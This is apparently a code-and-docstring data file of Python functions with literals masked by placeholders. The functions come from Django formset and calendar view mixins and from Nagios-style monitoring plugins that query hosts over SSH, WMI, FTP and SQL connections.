{"signature": "def try_convert_to_date(self, word):", "body": "for frm in self.search_date_formats:<EOL><INDENT>try:<EOL><INDENT>return datetime.datetime.strptime(word, frm).date()<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Tries to convert word to date(datetime) using search_date_formats\nReturn None if word fits no one format", "id": "f12511:c0:m2"}
{"signature": "def get_search_query(self):", "body": "return self.search_use_q and self.request.GET.get('<STR_LIT:q>', '<STR_LIT>').strip()<EOL>", "docstring": "Get query from request.GET 'q' parameter when search_use_q is set to True\nOverride this method to provide your own query to search", "id": "f12511:c0:m3"}
{"signature": "def get_params_for_field(self, field_name, sort_type=None):", "body": "if not sort_type:<EOL><INDENT>if self.initial_sort == field_name:<EOL><INDENT>sort_type = '<STR_LIT>' if self.initial_sort_type == '<STR_LIT>' else '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>sort_type = '<STR_LIT>'<EOL><DEDENT><DEDENT>self.initial_params[self.sort_param_name] = self.sort_fields[field_name]<EOL>self.initial_params[self.sort_type_param_name] = sort_type<EOL>return '<STR_LIT>' % self.initial_params.urlencode()<EOL>", "docstring": "If sort_type is None - inverse current sort for field, if no sorted - use asc", "id": "f12511:c1:m2"}
{"signature": "def get_formset(self):", "body": "result = generic_inlineformset_factory(self.inline_model, **self.get_factory_kwargs())<EOL>return result<EOL>", "docstring": "Returns the final formset class from generic_inlineformset_factory.", "id": "f12512:c0:m0"}
{"signature": "def construct_formset(self):", "body": "formset_class = self.get_formset()<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>klass = type(self).__name__<EOL>raise DeprecationWarning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(klass),<EOL>)<EOL><DEDENT>return formset_class(**self.get_formset_kwargs())<EOL>", "docstring": "Returns an instance of the formset", "id": "f12513:c0:m0"}
{"signature": "def get_initial(self):", "body": "return self.initial[:]<EOL>", "docstring": "Returns a copy of the initial data to use for formsets on this view.", "id": "f12513:c0:m1"}
{"signature": "def get_prefix(self):", "body": "return self.prefix<EOL>", "docstring": "Returns the prefix used for formsets on this view.", "id": "f12513:c0:m2"}
{"signature": "def get_formset_class(self):", "body": "return self.formset_class<EOL>", "docstring": "Returns the formset class to use in the formset factory", "id": "f12513:c0:m3"}
{"signature": "def get_form_class(self):", "body": "return self.form_class<EOL>", "docstring": "Returns the form class to use with the formset in this view", "id": "f12513:c0:m4"}
{"signature": "def get_formset(self):", "body": "return formset_factory(self.get_form_class(), **self.get_factory_kwargs())<EOL>", "docstring": "Returns the formset class from the formset factory", "id": "f12513:c0:m5"}
{"signature": "def get_formset_kwargs(self):", "body": "kwargs = self.formset_kwargs.copy()<EOL>kwargs.update({<EOL>'<STR_LIT>': self.get_initial(),<EOL>'<STR_LIT>': self.get_prefix(),<EOL>})<EOL>if self.request.method in ('<STR_LIT:POST>', '<STR_LIT>'):<EOL><INDENT>kwargs.update({<EOL>'<STR_LIT:data>': self.request.POST.copy(),<EOL>'<STR_LIT>': self.request.FILES,<EOL>})<EOL><DEDENT>return kwargs<EOL>", "docstring": "Returns the keyword arguments for instantiating the formset.", "id": "f12513:c0:m6"}
{"signature": "def get_factory_kwargs(self):", "body": "<EOL>for attr in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if hasattr(self, attr):<EOL><INDENT>klass = type(self).__name__<EOL>raise DeprecationWarning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(klass, attr)<EOL>)<EOL><DEDENT><DEDENT>kwargs = self.factory_kwargs.copy()<EOL>if self.get_formset_class():<EOL><INDENT>kwargs['<STR_LIT>'] = self.get_formset_class()<EOL><DEDENT>return kwargs<EOL>", "docstring": "Returns the keyword arguments for calling the formset factory", "id": "f12513:c0:m7"}
{"signature": "def get_success_url(self):", "body": "if self.success_url:<EOL><INDENT>url = self.success_url<EOL><DEDENT>else:<EOL><INDENT>url = self.request.get_full_path()<EOL><DEDENT>return url<EOL>", "docstring": "Returns the supplied URL.", "id": "f12513:c2:m0"}
{"signature": "def formset_valid(self, formset):", "body": "return HttpResponseRedirect(self.get_success_url())<EOL>", "docstring": "If the formset is valid redirect to the supplied URL", "id": "f12513:c2:m1"}
{"signature": "def formset_invalid(self, formset):", "body": "return self.render_to_response(self.get_context_data(formset=formset))<EOL>", "docstring": "If the formset is invalid, re-render the context data with the\ndata-filled formset and errors.", "id": "f12513:c2:m2"}
{"signature": "def get_formset_kwargs(self):", "body": "kwargs = super(ModelFormSetMixin, self).get_formset_kwargs()<EOL>kwargs['<STR_LIT>'] = self.get_queryset()<EOL>return kwargs<EOL>", "docstring": "Returns the keyword arguments for instantiating the formset.", "id": "f12513:c3:m0"}
{"signature": "def get_factory_kwargs(self):", "body": "kwargs = super(ModelFormSetMixin, self).get_factory_kwargs()<EOL>kwargs.setdefault('<STR_LIT>', self.fields)<EOL>kwargs.setdefault('<STR_LIT>', self.exclude)<EOL>if self.get_form_class():<EOL><INDENT>kwargs['<STR_LIT>'] = self.get_form_class()<EOL><DEDENT>return kwargs<EOL>", "docstring": "Returns the keyword arguments for calling the formset factory", "id": "f12513:c3:m1"}
{"signature": "def get_formset(self):", "body": "return modelformset_factory(self.model, **self.get_factory_kwargs())<EOL>", "docstring": "Returns the formset class from the model formset factory", "id": "f12513:c3:m2"}
{"signature": "def formset_valid(self, formset):", "body": "self.object_list = formset.save()<EOL>return super(ModelFormSetMixin, self).formset_valid(formset)<EOL>", "docstring": "If the formset is valid, save the associated models.", "id": "f12513:c3:m3"}
{"signature": "def get_inline_model(self):", "body": "return self.inline_model<EOL>", "docstring": "Returns the inline model to use with the inline formset", "id": "f12513:c4:m0"}
{"signature": "def get_formset_kwargs(self):", "body": "<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>klass = type(self).__name__<EOL>raise DeprecationWarning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(klass)<EOL>)<EOL><DEDENT>kwargs = super(BaseInlineFormSetFactory, self).get_formset_kwargs()<EOL>kwargs['<STR_LIT>'] = self.object<EOL>return kwargs<EOL>", "docstring": "Returns the keyword arguments for instantiating the formset.", "id": "f12513:c4:m1"}
{"signature": "def get_factory_kwargs(self):", "body": "kwargs = super(BaseInlineFormSetFactory, self).get_factory_kwargs()<EOL>kwargs.setdefault('<STR_LIT>', self.fields)<EOL>kwargs.setdefault('<STR_LIT>', self.exclude)<EOL>if self.get_form_class():<EOL><INDENT>kwargs['<STR_LIT>'] = self.get_form_class()<EOL><DEDENT>return kwargs<EOL>", "docstring": "Returns the keyword arguments for calling the formset factory", "id": "f12513:c4:m2"}
{"signature": "def get_formset(self):", "body": "return inlineformset_factory(self.model, self.get_inline_model(), **self.get_factory_kwargs())<EOL>", "docstring": "Returns the formset class from the inline formset factory", "id": "f12513:c4:m3"}
{"signature": "def get(self, request, *args, **kwargs):", "body": "formset = self.construct_formset()<EOL>return self.render_to_response(self.get_context_data(formset=formset))<EOL>", "docstring": "Handles GET requests and instantiates a blank version of the formset.", "id": "f12513:c7:m0"}
{"signature": "def post(self, request, *args, **kwargs):", "body": "formset = self.construct_formset()<EOL>if formset.is_valid():<EOL><INDENT>return self.formset_valid(formset)<EOL><DEDENT>else:<EOL><INDENT>return self.formset_invalid(formset)<EOL><DEDENT>", "docstring": "Handles POST requests, instantiating a formset instance with the passed\nPOST variables and then checked for validity.", "id": "f12513:c7:m1"}
{"signature": "def daterange(start_date, end_date):", "body": "for n in range(int((end_date - start_date).days + <NUM_LIT:1>)):<EOL><INDENT>yield start_date + datetime.timedelta(n)<EOL><DEDENT>", "docstring": "Returns an iterator of dates between two provided ones", "id": "f12514:m0"}
{"signature": "def get_end_date_field(self):", "body": "return self.end_date_field<EOL>", "docstring": "Returns the model field to use for end dates", "id": "f12514:c0:m2"}
{"signature": "def get_start_date(self, obj):", "body": "obj_date = getattr(obj, self.get_date_field())<EOL>try:<EOL><INDENT>obj_date = obj_date.date()<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return obj_date<EOL>", "docstring": "Returns the start date for a model instance", "id": "f12514:c0:m3"}
{"signature": "def get_end_date(self, obj):", "body": "obj_date = getattr(obj, self.get_end_date_field())<EOL>try:<EOL><INDENT>obj_date = obj_date.date()<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return obj_date<EOL>", "docstring": "Returns the end date for a model instance", "id": "f12514:c0:m4"}
{"signature": "def get_first_of_week(self):", "body": "if self.first_of_week is None:<EOL><INDENT>raise ImproperlyConfigured(\"<STR_LIT>\" % self.__class__.__name__)<EOL><DEDENT>if self.first_of_week not in range(<NUM_LIT:7>):<EOL><INDENT>raise ImproperlyConfigured(\"<STR_LIT>\" % self.__class__.__name__)<EOL><DEDENT>return self.first_of_week<EOL>", "docstring": "Returns an integer representing the first day of the week.\n\n0 represents Monday, 6 represents Sunday.", "id": "f12514:c0:m5"}
{"signature": "def get_queryset(self):", "body": "qs = super(BaseCalendarMonthView, self).get_queryset()<EOL>year = self.get_year()<EOL>month = self.get_month()<EOL>date_field = self.get_date_field()<EOL>end_date_field = self.get_end_date_field()<EOL>date = _date_from_string(year, self.get_year_format(),<EOL>month, self.get_month_format())<EOL>since = date<EOL>until = self.get_next_month(date)<EOL>if since.weekday() != self.get_first_of_week():<EOL><INDENT>diff = math.fabs(since.weekday() - self.get_first_of_week())<EOL>since = since - datetime.timedelta(days=diff)<EOL><DEDENT>if until.weekday() != ((self.get_first_of_week() + <NUM_LIT:6>) % <NUM_LIT:7>):<EOL><INDENT>diff = math.fabs(((self.get_first_of_week() + <NUM_LIT:6>) % <NUM_LIT:7>) - until.weekday())<EOL>until = until + datetime.timedelta(days=diff)<EOL><DEDENT>if end_date_field:<EOL><INDENT>predicate1 = Q(**{<EOL>'<STR_LIT>' % date_field: since,<EOL>end_date_field: None<EOL>})<EOL>predicate2 = Q(**{<EOL>'<STR_LIT>' % date_field: since,<EOL>'<STR_LIT>' % end_date_field: until<EOL>})<EOL>predicate3 = Q(**{<EOL>'<STR_LIT>' % date_field: since,<EOL>'<STR_LIT>' % end_date_field: since,<EOL>'<STR_LIT>' % end_date_field: until<EOL>})<EOL>predicate4 = Q(**{<EOL>'<STR_LIT>' % date_field: since,<EOL>'<STR_LIT>' % date_field: until,<EOL>'<STR_LIT>' % end_date_field: until<EOL>})<EOL>predicate5 = Q(**{<EOL>'<STR_LIT>' % date_field: since,<EOL>'<STR_LIT>' % end_date_field: until<EOL>})<EOL>return qs.filter(predicate1 | predicate2 | predicate3 | predicate4 | predicate5)<EOL><DEDENT>return qs.filter(**{<EOL>'<STR_LIT>' % date_field: since<EOL>})<EOL>", "docstring": "Returns a queryset of models for the month requested", "id": "f12514:c0:m6"}
{"signature": "def get_context_data(self, **kwargs):", "body": "data = super(BaseCalendarMonthView, self).get_context_data(**kwargs)<EOL>year = self.get_year()<EOL>month = self.get_month()<EOL>date = _date_from_string(year, self.get_year_format(),<EOL>month, self.get_month_format())<EOL>cal = Calendar(self.get_first_of_week())<EOL>month_calendar = []<EOL>now = datetime.datetime.utcnow()<EOL>date_lists = defaultdict(list)<EOL>multidate_objs = []<EOL>for obj in data['<STR_LIT>']:<EOL><INDENT>obj_date = self.get_start_date(obj)<EOL>end_date_field = self.get_end_date_field()<EOL>if end_date_field:<EOL><INDENT>end_date = self.get_end_date(obj)<EOL>if end_date and end_date != obj_date:<EOL><INDENT>multidate_objs.append({<EOL>'<STR_LIT>': obj,<EOL>'<STR_LIT>': [x for x in daterange(obj_date, end_date)]<EOL>})<EOL>continue  <EOL><DEDENT><DEDENT>date_lists[obj_date].append(obj)<EOL><DEDENT>for week in cal.monthdatescalendar(date.year, date.month):<EOL><INDENT>week_range = set(daterange(week[<NUM_LIT:0>], week[<NUM_LIT:6>]))<EOL>week_events = []<EOL>for val in multidate_objs:<EOL><INDENT>intersect_length = len(week_range.intersection(val['<STR_LIT>']))<EOL>if intersect_length:<EOL><INDENT>slot = <NUM_LIT:1><EOL>width = intersect_length  <EOL>nowrap_previous = True  <EOL>nowrap_next = True  <EOL>if val['<STR_LIT>'][<NUM_LIT:0>] >= week[<NUM_LIT:0>]:<EOL><INDENT>slot = <NUM_LIT:1> + (val['<STR_LIT>'][<NUM_LIT:0>] - week[<NUM_LIT:0>]).days<EOL><DEDENT>else:<EOL><INDENT>nowrap_previous = False<EOL><DEDENT>if val['<STR_LIT>'][-<NUM_LIT:1>] > week[<NUM_LIT:6>]:<EOL><INDENT>nowrap_next = False<EOL><DEDENT>week_events.append({<EOL>'<STR_LIT>': val['<STR_LIT>'],<EOL>'<STR_LIT>': slot,<EOL>'<STR_LIT:width>': width,<EOL>'<STR_LIT>': nowrap_previous,<EOL>'<STR_LIT>': nowrap_next,<EOL>})<EOL><DEDENT><DEDENT>week_calendar = {<EOL>'<STR_LIT>': week_events,<EOL>'<STR_LIT>': [],<EOL>}<EOL>for day in week:<EOL><INDENT>week_calendar['<STR_LIT>'].append({<EOL>'<STR_LIT>': day,<EOL>'<STR_LIT>': date_lists[day],<EOL>'<STR_LIT>': day == now.date(),<EOL>'<STR_LIT>': day.month == date.month,<EOL>})<EOL><DEDENT>month_calendar.append(week_calendar)<EOL><DEDENT>data['<STR_LIT>'] = month_calendar<EOL>data['<STR_LIT>'] = [DAYS[x] for x in cal.iterweekdays()]<EOL>data['<STR_LIT>'] = date<EOL>data['<STR_LIT>'] = self.get_next_month(date)<EOL>data['<STR_LIT>'] = self.get_previous_month(date)<EOL>return data<EOL>", "docstring": "Injects variables necessary for rendering the calendar into the context.\n\nVariables added are: `calendar`, `weekdays`, `month`, `next_month` and `previous_month`.", "id": "f12514:c0:m7"}
{"signature": "def construct_formset(self):", "body": "formset = super(InlineFormSetFactory, self).construct_formset()<EOL>formset.model = self.inline_model<EOL>return formset<EOL>", "docstring": "Overrides construct_formset to attach the model class as\nan attribute of the returned formset instance.", "id": "f12515:c0:m1"}
{"signature": "def get_inlines(self):", "body": "return self.inlines<EOL>", "docstring": "Returns the inline formset classes", "id": "f12515:c2:m0"}
{"signature": "def forms_valid(self, form, inlines):", "body": "response = self.form_valid(form)<EOL>for formset in inlines:<EOL><INDENT>formset.save()<EOL><DEDENT>return response<EOL>", "docstring": "If the form and formsets are valid, save the associated models.", "id": "f12515:c2:m1"}
{"signature": "def forms_invalid(self, form, inlines):", "body": "return self.render_to_response(self.get_context_data(form=form, inlines=inlines))<EOL>", "docstring": "If the form or formsets are invalid, re-render the context data with the\ndata-filled form and formsets and errors.", "id": "f12515:c2:m2"}
{"signature": "def construct_inlines(self):", "body": "inline_formsets = []<EOL>for inline_class in self.get_inlines():<EOL><INDENT>inline_instance = inline_class(self.model, self.request, self.object, self.kwargs, self)<EOL>inline_formset = inline_instance.construct_formset()<EOL>inline_formsets.append(inline_formset)<EOL><DEDENT>return inline_formsets<EOL>", "docstring": "Returns the inline formset instances", "id": "f12515:c2:m3"}
{"signature": "def get(self, request, *args, **kwargs):", "body": "form_class = self.get_form_class()<EOL>form = self.get_form(form_class)<EOL>inlines = self.construct_inlines()<EOL>return self.render_to_response(self.get_context_data(form=form, inlines=inlines, **kwargs))<EOL>", "docstring": "Handles GET requests and instantiates a blank version of the form and formsets.", "id": "f12515:c3:m0"}
{"signature": "def post(self, request, *args, **kwargs):", "body": "form_class = self.get_form_class()<EOL>form = self.get_form(form_class)<EOL>if form.is_valid():<EOL><INDENT>self.object = form.save(commit=False)<EOL>form_validated = True<EOL><DEDENT>else:<EOL><INDENT>form_validated = False<EOL><DEDENT>inlines = self.construct_inlines()<EOL>if all_valid(inlines) and form_validated:<EOL><INDENT>return self.forms_valid(form, inlines)<EOL><DEDENT>return self.forms_invalid(form, inlines)<EOL>", "docstring": "Handles POST requests, instantiating a form and formset instances with the passed\nPOST variables and then checked for validity.", "id": "f12515:c3:m1"}
{"signature": "def get_inlines_names(self):", "body": "return self.inlines_names<EOL>", "docstring": "Returns a list of names of context variables for each inline in `inlines`.", "id": "f12515:c8:m0"}
{"signature": "def get_context_data(self, **kwargs):", "body": "context = {}<EOL>inlines_names = self.get_inlines_names()<EOL>if inlines_names:<EOL><INDENT>context.update(zip(inlines_names, kwargs.get('<STR_LIT>', [])))<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>context[inlines_names[<NUM_LIT:0>]] = kwargs['<STR_LIT>']<EOL><DEDENT><DEDENT>context.update(kwargs)<EOL>return super(NamedFormsetsMixin, self).get_context_data(**context)<EOL>", "docstring": "If `inlines_names` has been defined, add each formset to the context under\nits corresponding entry in `inlines_names`", "id": "f12515:c8:m1"}
{"signature": "def connect(self):", "body": "return self.response<EOL>", "docstring": "Connect to http/https server.", "id": "f12528:c0:m1"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.response.close()<EOL>self.logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Close the http/https connect.", "id": "f12528:c0:m2"}
{"signature": "def execute(self, command, timeout=None):", "body": "try:<EOL><INDENT>self.channel = self.ssh.get_transport().open_session()<EOL><DEDENT>except paramiko.SSHException as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>try:<EOL><INDENT>self.channel.settimeout(self.args.timeout if not timeout else timeout)<EOL><DEDENT>except socket.timeout as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>try:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\".format(command))<EOL>self.channel.exec_command(command)<EOL><DEDENT>except paramiko.SSHException as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>try:<EOL><INDENT>self.stdin = self.channel.makefile('<STR_LIT:wb>', -<NUM_LIT:1>)<EOL>self.stderr = map(string.strip, self.channel.makefile_stderr('<STR_LIT:rb>', -<NUM_LIT:1>).readlines())<EOL>self.stdout = map(string.strip, self.channel.makefile('<STR_LIT:rb>', -<NUM_LIT:1>).readlines())<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>try:<EOL><INDENT>self.status = self.channel.recv_exit_status()<EOL><DEDENT>except paramiko.SSHException as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>else:<EOL><INDENT>if self.status != <NUM_LIT:0>:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % (self.status, self.errors))<EOL><DEDENT>else:<EOL><INDENT>return self.stdout<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Execute a shell command.", "id": "f12530:c0:m1"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.ssh.close()<EOL>self.logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except paramiko.SSHException as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Close and exit the connection.", "id": "f12530:c0:m2"}
{"signature": "def query(self, wql):", "body": "try:<EOL><INDENT>self.__wql = ['<STR_LIT>', '<STR_LIT>',<EOL>self.args.domain + '<STR_LIT:\\\\>' + self.args.user + '<STR_LIT:%>' + self.args.password,<EOL>'<STR_LIT>' + self.args.host,<EOL>'<STR_LIT>', self.args.namespace,<EOL>'<STR_LIT>', self.args.delimiter,<EOL>wql]<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__wql))<EOL>self.__output = subprocess.check_output(self.__wql)<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__output))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>self.__wmi_output = self.__output.splitlines()[<NUM_LIT:1>:]<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__wmi_output))<EOL>self.__csv_header = csv.DictReader(self.__wmi_output, delimiter='<STR_LIT:|>')<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__csv_header))<EOL>return list(self.__csv_header)<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Connect by wmi and run wql.", "id": "f12531:c0:m1"}
{"signature": "def connect(self):", "body": "return self.ftp<EOL>", "docstring": "Connect to ftp server.", "id": "f12532:c0:m1"}
{"signature": "def quit(self):", "body": "try:<EOL><INDENT>self.ftp.quit()<EOL>self.logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except ftplib.Error as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Close and exit the connection.", "id": "f12532:c0:m2"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.conn.close()<EOL>self.logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except pymysql.Error as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Close the connection.", "id": "f12534:c0:m2"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.conn.close()<EOL>self.logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except pymssql.Error as e:<EOL><INDENT>self.unknown(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Close the connection.", "id": "f12535:c0:m2"}
{"signature": "def read(readme):", "body": "extend = os.path.splitext(readme)[<NUM_LIT:1>]<EOL>if (extend == '<STR_LIT>'):<EOL><INDENT>import codecs<EOL>return codecs.open(readme, '<STR_LIT:r>', '<STR_LIT:utf-8>').read()<EOL><DEDENT>elif (extend == '<STR_LIT>'):<EOL><INDENT>import pypandoc<EOL>return pypandoc.convert(readme, '<STR_LIT>')<EOL><DEDENT>", "docstring": "Give reST format README for pypi.", "id": "f12537:m0"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.command_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12538:m0"}
{"signature": "def command_handle(self):", "body": "self.__results = self.execute(self.args.command)<EOL>self.close()<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__results))<EOL>if not self.__results:<EOL><INDENT>self.unknown(\"<STR_LIT>\".format(self.args.command))<EOL><DEDENT>if len(self.__results) != <NUM_LIT:1>:<EOL><INDENT>self.unknown(<EOL>\"<STR_LIT>\".format(<EOL>self.args.command))<EOL><DEDENT>self.__result = int(self.__results[<NUM_LIT:0>])<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__result))<EOL>if not isinstance(self.__result, (int, long)):<EOL><INDENT>self.unknown(<EOL>\"<STR_LIT>\".format(<EOL>self.args.command))<EOL><DEDENT>status = self.ok<EOL>if self.__result > self.args.warning:<EOL><INDENT>status = self.warning<EOL><DEDENT>if self.__result > self.args.critical:<EOL><INDENT>status = self.critical<EOL><DEDENT>self.shortoutput = \"<STR_LIT>\".format(<EOL>self.args.command, self.__result)<EOL>[self.longoutput.append(line)<EOL>for line in self.__results if self.__results]<EOL>self.perfdata.append(\"<STR_LIT>\".format(<EOL>crit=self.args.critical,<EOL>warn=self.args.warning,<EOL>result=self.__result,<EOL>command=self.args.command))<EOL>status(self.output(long_output_limit=None))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Get the number of the shell command.", "id": "f12538:c0:m2"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.sql_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12539:m0"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.filenumber_handle()<EOL><DEDENT>elif plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.fileage_handle()<EOL><DEDENT>elif plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.sqlserverlocks_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12540:m0"}
{"signature": "def filenumber_handle(self):", "body": "self.file_list = []<EOL>self.count = <NUM_LIT:0><EOL>status = self.ok<EOL>if self.args.recursion:<EOL><INDENT>self.__result, self.__file_list = self.__get_folder(self.args.path)<EOL><DEDENT>else:<EOL><INDENT>self.__result, self.__file_list = self.__get_file(self.args.path)<EOL><DEDENT>if self.__result > self.args.critical:<EOL><INDENT>status = self.critical<EOL><DEDENT>elif self.__result > self.args.warning:<EOL><INDENT>status = self.warning<EOL><DEDENT>else:<EOL><INDENT>status = self.ok<EOL><DEDENT>self.shortoutput = \"<STR_LIT>\".format(self.__result,<EOL>self.args.path)<EOL>self.logger.debug(\"<STR_LIT>\".format(self.__file_list))<EOL>[self.longoutput.append(file_data.get('<STR_LIT:Name>'))<EOL>for file_data in self.__file_list]<EOL>self.perfdata.append(\"<STR_LIT>\".format(<EOL>crit=self.args.critical,<EOL>warn=self.args.warning,<EOL>result=self.__result,<EOL>path=self.args.path))<EOL>status(self.output(long_output_limit=None))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Get the number of file in the folder.", "id": "f12540:c0:m4"}
{"signature": "def __get_current_datetime(self):", "body": "self.wql_time = \"<STR_LIT>\"<EOL>self.current_time = self.query(self.wql_time)<EOL>self.current_time_string = str(<EOL>self.current_time[<NUM_LIT:0>].get('<STR_LIT>').split('<STR_LIT:.>')[<NUM_LIT:0>])<EOL>self.current_time_format = datetime.datetime.strptime(<EOL>self.current_time_string, '<STR_LIT>')<EOL>return self.current_time_format<EOL>", "docstring": "Get current datetime for every file.", "id": "f12540:c1:m4"}
{"signature": "def fileage_handle(self):", "body": "self.file_list = []<EOL>self.ok_file = []<EOL>self.warn_file = []<EOL>self.crit_file = []<EOL>status = self.ok<EOL>if self.args.recursion:<EOL><INDENT>self.__file_list = self.__get_folder(self.args.path)<EOL><DEDENT>else:<EOL><INDENT>self.__file_list = self.__get_file(self.args.path)<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\".format(self.__file_list))<EOL>for file_dict in self.__file_list:<EOL><INDENT>self.filename = file_dict.get('<STR_LIT:Name>')<EOL>if self.filename and self.filename != '<STR_LIT:Name>':<EOL><INDENT>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.filename))<EOL>self.file_datetime_string = file_dict.get(<EOL>'<STR_LIT>').split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>self.file_datetime = datetime.datetime.strptime(<EOL>self.file_datetime_string, '<STR_LIT>')<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.file_datetime))<EOL>self.current_datetime = self.__get_current_datetime()<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.current_datetime))<EOL>self.__delta_datetime = self.current_datetime - self.file_datetime<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.__delta_datetime))<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>datetime.timedelta(<EOL>minutes=self.args.warning)))<EOL>self.logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>datetime.timedelta(<EOL>minutes=self.args.critical)))<EOL>if self.__delta_datetime > datetime.timedelta(<EOL>minutes=self.args.critical):<EOL><INDENT>self.crit_file.append(self.filename)<EOL><DEDENT>elif self.__delta_datetime > datetime.timedelta(minutes=self.args.warning):<EOL><INDENT>self.warn_file.append(self.filename)<EOL><DEDENT>else:<EOL><INDENT>self.ok_file.append(self.filename)<EOL><DEDENT><DEDENT><DEDENT>if self.crit_file:<EOL><INDENT>status = self.critical<EOL><DEDENT>elif self.warn_file:<EOL><INDENT>status = self.warning<EOL><DEDENT>else:<EOL><INDENT>status = self.ok<EOL><DEDENT>self.shortoutput = \"<STR_LIT>\".format(<EOL>len(self.crit_file))<EOL>if self.crit_file:<EOL><INDENT>self.longoutput.append(\"<STR_LIT>\")<EOL><DEDENT>[self.longoutput.append(filename)<EOL>for filename in self.crit_file if self.crit_file]<EOL>if self.warn_file:<EOL><INDENT>self.longoutput.append(\"<STR_LIT>\")<EOL><DEDENT>[self.longoutput.append(filename)<EOL>for filename in self.warn_file if self.warn_file]<EOL>if self.ok_file:<EOL><INDENT>self.longoutput.append(\"<STR_LIT>\")<EOL><DEDENT>[self.longoutput.append(filename)<EOL>for filename in self.ok_file if self.ok_file]<EOL>self.perfdata.append(\"<STR_LIT>\".format(<EOL>crit=self.args.critical,<EOL>warn=self.args.warning,<EOL>result=len(self.crit_file),<EOL>path=self.args.drive + self.args.path))<EOL>status(self.output(long_output_limit=None))<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Get the number of file in the folder.", "id": "f12540:c1:m5"}
{"signature": "def main():", "body": "plugin = Register()<EOL>if plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.filenumber_handle()<EOL><DEDENT>elif plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.fileage_handle()<EOL><DEDENT>elif plugin.args.option == '<STR_LIT>':<EOL><INDENT>plugin.sqlserverlocks_handle()<EOL><DEDENT>else:<EOL><INDENT>plugin.unknown(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Register your own mode and handle method here.", "id": "f12542:m0"}
